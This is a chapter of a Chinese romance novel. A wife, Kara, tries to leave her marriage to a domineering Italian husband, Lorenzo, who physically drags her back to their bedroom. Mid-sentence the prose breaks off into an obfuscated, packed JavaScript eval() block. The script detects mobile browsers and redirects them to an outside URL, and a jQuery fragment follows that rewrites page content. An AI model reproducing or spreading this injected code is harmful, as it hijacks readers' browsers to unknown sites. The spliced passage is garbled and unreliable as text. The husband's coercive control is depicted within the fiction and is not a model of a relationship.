门在她身后沉重地关上，隔绝了夜的微凉。洛伦佐仍抓着她的小臂，力道不重，却像一道铁箍，不容挣脱。
“玩得开心吗，我的夜归人？”他的声音压得很低，听不出情绪，但每个音节都像在冰水里浸过。
卡拉颤抖着，试图抽回手，他却收得更紧。近距离之下，她能闻到他身上淡淡的威士忌气息，混合着熟悉的、冷冽的味道。
他身上只穿着衬衫，领口微敞，头发不似白日时一丝不苟，有几缕黑发散落在额前。这让他少了些那种无懈可击的锋利，却多了一种暗沉的、更具侵略性的危险感。
“电影还算有趣吧。”她简短地回答，偏过头，避开他迫人的视线。头痛和身体上的不适让她的声音都显得有些虚弱。
“你最好是觉得有趣，你晚饭都没吃，我都怀疑你打算用爆米花和碳酸饮料把自己淹死。”
卡拉的心一沉，尼科洛果然是事无巨细地汇报了，她早该知道的。
“我只是……需要一点空间。”她说着，又忍不住挣了一下。他手臂的肌肉绷紧，依然没有松开。
就像是听到了一个笑话，洛伦佐道：“我给了你整个城市，卡拉，你却偏偏选择把自己锁在一个黑暗的盒子里，折磨你自己的身体，也折磨你可怜的保镖，这就是你想要的空间？”
当然不是。但无论如何，电影院里漆黑的环境，陌生人之间互不打扰的疏离，甚至是那廉价的人造奶油香气，确实比这栋华丽牢笼里他的存在更让她感到……自在。
哪怕，那只是暂时的幻觉。
“随便你怎么想吧。”她放弃了解释，声音疲惫，“我现在想去睡觉了。”
洛伦佐沉默了几秒，目光在她苍白的脸上逡巡。她没有化妆，眼下有淡淡的青影，嘴唇有些干裂，身上那套廉价的衣服在昏暗光线下显得格外灰扑扑。她看起来脆弱又倔强，像一根绷到极致、随时会断的弦。
他忽然松开了手。
卡拉猝不及防，踉跄了一下才站稳。她揉着刚刚被他握过的地方，皮肤上似乎还残留着他指尖的力度和温度。
“去吧。”他的声音忽然又变得平和了起来，“你确实该好好休息了。”
说完，他让开了路，双手插进了口袋里。当她从他身边走开时，她可以感觉到他的目光紧紧地盯着她的背影。
她快步跑上楼，然后挑选了一间距离主卧室最远的客房，匆匆洗了个澡就上床睡觉了。
尽管这一天里发生了许多事情，但她还是照旧一沾床就沉沉地睡了过去。她也不知道自己究竟睡了多久，直到听到一阵用力的敲门声。她立刻清醒过来，把乱蓬蓬的头发从脸上拨开。
“卡拉，给我把门打开！”洛伦佐再次猛敲木门，为了防止他吵醒其他工作人员，她连忙去开门锁并打开了门。
然后她看见洛伦佐站在门口，又愤怒又无奈：“你跑到这里来干什么？”
“我决定搬进这个房间。”她告诉他。
“为什么？”他问。
因为她想离开！她忍受不了他们的婚姻，她不想回到过去了！卡拉几乎想吼出这些话，她已经说了无数次了。
她选择了跟他进行更为和平的谈话：“我不想继续睡椅子了。”
“所以你对我们的床有什么意见吗？”
“没有意见，只是，如果我还和你继续睡同一张床上，我会觉得自己虚伪，说一套做一套。洛伦佐，我们的婚姻早就已经千疮百孔……”
“这是多么荒谬的言论。”洛伦佐直接打断了她。
“我的妻子和我睡在同一个房间里的同一张床上，这是再正常不过的事情，你现在必须回到我们的房间。”
卡拉摇了摇头道：“不，就算是地狱结冰我也不会回去。”
“那地狱现在就可以开始结冰了。”
说完，他抓住她的手，把她拉向几间房外的卧室。这个突如其来的举动让她十分震惊，她踉跄着跟在他后面，直到本能促使她用力反抗，最后几步她几乎是被他拖着走的。
当卧室的门在她身后发出一声沉重的闷响，他才终于松开手。她立刻后退几步，后背抵住冰凉的门板，整个人急促地喘息着，胸口起伏不定。
房间里只开着一盏昏暗的床头灯，光线勾勒出那些熟悉的轮廓，尤其是那张宽大得令人窒息的床。这个空间曾是她试图逃离的噩梦核心，此刻却以不容抗拒的姿态再次将她吞没。
洛伦佐就站在几步之外，没有说话，只是看着她。昏黄的光线将他一半脸庞隐在阴影里，另一半却异常清晰地映出了他下颌紧绷的线条，和眼底某种翻涌的、她无法解读的情绪。空气凝滞得如同固体，压迫着她的耳膜。
“这样有意思吗？”她终于找回了自己的声音，尽管带着无法控制的微颤，“你这样控制一切，强迫我待在这里，能改变什么吗？你到底想要怎么样？”
洛伦佐向前走了一步，暖光柔和了他下颌冷硬的线条，却让那双眼睛里的神色更加晦暗难辨。
“我想怎么样？”他道，“我以为我的意图一直很清楚。我要我的妻子回家，睡在我们的床上，结束这场根本毫无意义的幼稚闹剧。”
“这不是什么闹剧，”卡拉忍不住反驳他，指甲掐进掌心，“这是我的生活，我不想继续这种可悲的关系。”
“可悲吗？”洛伦佐微微歪了下头，像是在品味这个词，“法律认可的婚姻，丈夫与妻子共享卧室，哪里可悲？是因为你的心背叛了这段关系，所以连带着觉得这一切都变得无法忍受了？”
“我们的婚姻从一开始就是可悲的，”她脱口而出，“那不过就是一桩令人作呕的财色交易。除了睡在一张床上，我们曾经究竟有哪一点像对夫妻？我不认识你的任何家人，也不认识你的任何朋友，至于我的那些家人，在你看来估计如同臭虫，虽然他们确实如此。我们之间没有任何交流，你平日里压根看都不愿意多看我一眼，就好像我是一个该死的陌生人。”
她不想和他说这些，她不想真的像个抱怨不休的妻子，但在经历了这一连串的事情后，她停不下来，她根本停不下来。
多少次，当他直接从她身边经过，就好像她根本不存在一样时，她简直想打他一耳光，想冲着他大喊大叫，好迫使他去承认她是存在的。
他对她那种漠不关心的态度，比其他男人曾带给她的任何痛苦都要糟糕。他们至少一开始都还甜言蜜语过，他们会花心思讨好她，赞美她漂亮、甜美。即便当她照镜子时，她看到的从来都不是什么漂亮或甜美，只有破碎与肮脏，以及羞耻和自我厌恶……
洛伦佐愣住了，但他仍然提醒她道：“这是你的选择，卡拉，我想得到你，而你要求我娶你。”
说完，他顿了顿，声音忽然变轻了许多：“我一直记得你当时看我的样子，你尽力让自己看起来可以更天真无辜一些，可是你的眼睛完全出卖了你。你很清楚，婚姻更有利可图，而我最终满足了你的要求，与你共享了我的财富，你也显然对这一切都很满意。结果现在，你开始觉得那令人作呕？”
“那时我只有该死的十九岁！”卡拉脱口而出，像是被他的这些话烫伤了，“我……我根本就还什么都不明白，我只是又蠢又贪，我以为，我以为……”
她的声音忽然间哽住了。
天呐，她已经说得实在太多太多了，她不可以继续坦露自己的脆弱，尤其是面对一个骨子里可能是个恶棍的家伙。
他会享受自己对她一直以来的折磨。
她尴尬不已，想要立刻逃到别处去，好可以躲避开他那愈发迫人的目光，可是他阻止了她的动作，将手撑在她身后的门板上。
他的脸离得更近了，温热的呼吸拂过她的皮肤，带着威士忌的微醺和一种她从来都无法抗拒的、属于他的独特气息。
理智在尖叫着让她推开他，逃离这个令人窒息的距离，但是她的身体却像被钉住一般无法动弹。一种熟悉的、深入骨髓的颤栗从脊椎蔓延开来，并非全然是恐惧，还有别的某种她拼命抗拒却又确实存在的、被他强势存在所激发的原始反应。
“你必须看着我，卡拉。”他命令道。
而她真讨厌他仗着自己说话有口音，在叫她名字时从来没有发音正确过。他总是使用那种独特的意大利腔调，拉长着音节，舌尖会轻轻弹一下，带着别样的挑逗意味。
“求你了，别再继续叫我卡拉！”她终于忍不住说。
在他略微的怔愣中，她继续道：“我们都清楚，我从来不是你的‘亲爱的’。”
洛伦佐有些意外：“哦？现在你明白意大利语了？”
闻言，卡拉的心顿时一沉。
她并不懂意大利语。
虽然在他们结婚初期，她确实曾随口提过想学意大利语，她甚至已经偷偷在YouTube上打开过几个视频课程。
她认为这是理所当然的，无论如何，她丈夫都是个土生土长的意大利人，她可能会需要用到它。她可不希望未来因为没有准备而在意大利丢脸，也不希望自己可能会听不懂任何嘲讽，然后只知道对着人傻笑。
但是他直接和她说那毫无必要。
于是她明白了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588886|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，他永远不会带她回他意大利的家，也永远不会将她介绍给他的任何意大利友人。
她当然是一句意大利语都不需要懂。
那些学习的计划，也就此搁置……
“知道这种基础的东西还算不上明白。总之，不要再那么叫我了。就算在爱尔兰语里，它也是朋友的意思，而我们与朋友之间也还离得很远呢。”
“别再无理取闹了，”他看着她气呼呼的脸，“看看你自己，你像个孩子。”
“我没有在无理取闹。”
不，她现在确实就是在无理取闹。
“而且，”她忍不住戳了戳他的胸口，“如果你觉得我像孩子，那也是你的问题，是你非要选择在青少年区购物。你这个恋童癖，你是找不到同龄人了吗？”
闻言，洛伦佐愣了愣，看起来似乎有些无法反驳。毕竟无论如何，他们结婚时她都确实是十九岁，谁能说她不是一个该死的青少年？
“每个名字都有它自己的含义。”洛伦佐终于开口，“卡拉首先是你的名字，除此之外，我还应该怎么去称呼你？德-米凯利太太？我以为你现在不太喜欢被提醒这个身份。”
“凯特里奥娜，”卡拉道，“就像我也不可能会叫你恩佐或其他的什么一样。”
洛伦佐定定地看着她的绿眼睛，叹了口气，道：“如果这就是你所希望的，凯特里奥娜·玛丽·多尔蒂。”
哦……卡拉不禁绝望地吐了口气。
事实上，从小到大，她从来就没有喜欢过自己的全名。
明明在她之前，大家都在正常地使用英语名字，一到了她这一代，倒是又忽然捡起了谁也不懂的拗口盖尔语，想要重新拥抱族裔身份了。
尤其，它还如此讽刺。
纯洁无瑕的圣人与无染原罪的圣母，来自祖母对她做一个天主教好女孩的期望，搭配的却是一个承载着几代贫穷、混乱与不负责任的姓氏。
它就像一道沉重的符咒，永远碾压着她无法摆脱的出身与似乎早已经写定了的命运，此时此刻再从他的口中念出，更是增添了一层被彻底解剖的、无处遁形的冰冷感。
但现在，她只能让自己接受它，她实在不想参与他那些虚伪的暧昧游戏。
“凯特里奥娜……”他再次在她的身前低语着她那有些难以拼读的传统名字，带着一种她从未听过的、浓重得化不开的情绪，“你心里到底在想什么？”
他进一步靠近，他的嘴唇几乎就要触到了她的，他们温热的呼吸交织在一起，只要她把头微微动一下，他们的嘴唇就会立刻碰到一起。
她恨自己有那么一瞬间竟然真想这么做。他可能熟悉她身体每一寸皮肤，但却还从来没有试图吻过她的嘴唇。
他的嘴唇在她的嘴唇上，到底会是一种什么样的感觉呢？
她没去给自己犯大错的时间，猛地把头转到了一边，而洛伦佐也如梦初醒一般，重新拉开了他们之间的距离。
“你累了，去睡觉。”他把手放在她的后腰上，轻轻地推了她一下，让她朝床走去。
“我……我真的不想……”
“看在天主的份上。”洛伦佐疲惫道，“不管你这里还有什么要发表的观点，都请留到明天，我去洗澡了，我希望当我出来时，你已经睡着了。”
说完，他就一边脱衣服，一边走进了浴室。
卡拉犹豫了一下，还是愤怒地呼了一口气，没有选择趁机溜走，都这个时间了，她确实是很累了，她不想再和他玩一次这种猫捉老鼠的闹剧了。
她不甘不愿地钻进那个本以为只会存在回忆中了的被窝，却没有像被洛伦佐吵醒前那样立刻睡着，她控制不了地一直听着他在浴室里那些熟悉的动静。两年的婚姻使她太了解他了，而他的习惯还真是一点都没变。
啧，可真是个死板的意大利男人。
当洛伦佐终于洗完出来，他一个字都没再对卡拉说。他直接掀开被子躺到床上，没有试图朝她靠近，也没有再触碰她一下。
她顿时就松了一口气。
他这个人一贯如此，除非是觉得有必要进行一点睡前运动，否则他都是待在自己那边，把她当空气。
也正因如此，她过去从未主动发起过他们之间的亲密接触。
毕竟就算是她这种恬不知耻的女人，也总归还是有着那么一点自尊心的……
“不管你还在想什么，已经很晚了，睡觉。”他的声音忽然在黑暗中响起。
好吧。
卡拉乖乖停止了继续胡思乱想，闭上眼睛，在不安中慢慢陷入了睡眠。